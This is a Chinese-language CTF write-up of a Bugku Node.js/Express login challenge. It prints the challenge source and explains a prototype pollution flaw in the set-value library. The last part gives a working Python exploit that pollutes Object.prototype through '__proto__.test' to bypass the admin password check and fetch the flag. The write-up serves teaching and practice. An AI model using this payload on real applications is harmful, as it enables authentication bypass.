启动场景要金币,就不截图了,直接上源码(源码是扫描目录扫出来的):
var express = require('express');const setFn = require('set-value');var router = express.Router();const Admin = {"password":process.env.password?process.env.password:"password"}router.post("/getflag", function (req, res, next) {if (req.body.password === undefined || req.body.password === req.session.challenger.password){res.send("登录失败");}else{if(req.session.challenger.age > 79){res.send("糟老头子坏滴很");}let key = req.body.key.toString();let password = req.body.password.toString();if(Admin[key] === password){res.send(process.env.flag ? process.env.flag : "flag{test}");}else {res.send("密码错误,请使用管理员用户名登录.");}}});router.get('/reg', function (req, res, next) {req.session.challenger = {"username": "user","password": "pass","age": 80}res.send("用户创建成功!");});router.get('/', function (req, res, next) {res.redirect('index');});router.get('/index', function (req, res, next) {res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');});router.post("/update", function (req, res, next) {if(req.session.challenger === undefined){res.redirect('/reg');}else{if (req.body.attrkey === undefined || req.body.attrval === undefined) {res.send("传参有误");}else {let key = req.body.attrkey.toString();let value = req.body.attrval.toString();setFn(req.session.challenger, key, value);res.send("修改成功");}}});module.exports = router;
先来分析下流程:
- 进入网站,点击注册,跳转至/reg
- 创建一个用户,保存在
req.session.challenger中 - 通过/update可以修改
req.session.challenger中任意键值的任意属性 - /getflag经过一系列验证,如果正确则弹出输出flag
那么接下来主要看getflag的验证:
第一步:
if (req.body.password === undefined ||req.body.password === req.session.challenger.password){res.send("登录失败");}
req.body.password指的是post请求中的表单项,要求不能等于/reg时的密码,这个简单,提交个不一样的密码就行
第二步:
if(req.session.challenger.age > 79){res.send("糟老头子坏滴很");}
这个本来我以为是没什么问题,但是有时候题目环境不同时,res.send()之后就不会执行代码了,所以这个也需要绕过,使用/update修改age即可
第三步:
let key = req.body.key.toString();let password = req.body.password.toString();if(Admin[key] === password){res.send(process.env.flag ? process.env.flag : "flag{test}");}
要求Admin的键key的值强等于password,此时Admin的内容是:
const Admin = {"password":process.env.password?process.env.password:"password"}
题目环境中,process.env.password肯定是存在的,但是值我们不清楚。
经过一番搜索,发现在setFn函数中存在一个JS原型链污染漏洞。
看一下他的例子:
const obj = {};set(obj, 'a.b.c', 'd');console.log(obj);//=> { a: { b: { c: 'd' } } }
通过识别由”.”连接起来的属性,来将其赋值到对应的对象中。
而对象中有个特殊的属性__proto__,这个东西是什么呢:
《JavaScript权威指南》 Every JavaScript object has a second JavaScript object (or null , but this is rare) associated with it. This second object is known as a prototype, and the first object inherits properties from the prototype.
翻译过来就是
每一个JavaScript对象都有第二个JavaScript对象(或空,但这种情况很少)与之相关联。这第二个对象被称为原型,第一个对象继承原型的属性。
也就是说在原型上定义的属性或者方法,都会被其他对象继承。
现在有漏洞,知道原型链,就简单了。
payload:
import requestssession = requests.session()url = 'http://url/'# 通过update修改age的大小json0={"attrkey":"age","attrval":60}# setFn函数在Object对象上写入属性test,值也是testjson1 = {"attrkey" : "__proto__.test","attrval": "test"}# getflag通过键名的方式取出来位于原型上的属性,也就是json1的test属性,与password比较json2 = {"key" : "test","password" : "test"}session.get(url+'reg')session.post(url+'update', json=json0)session.post(url+'update', json=json1)print(session.post(url+'getflag', json=json2).text)
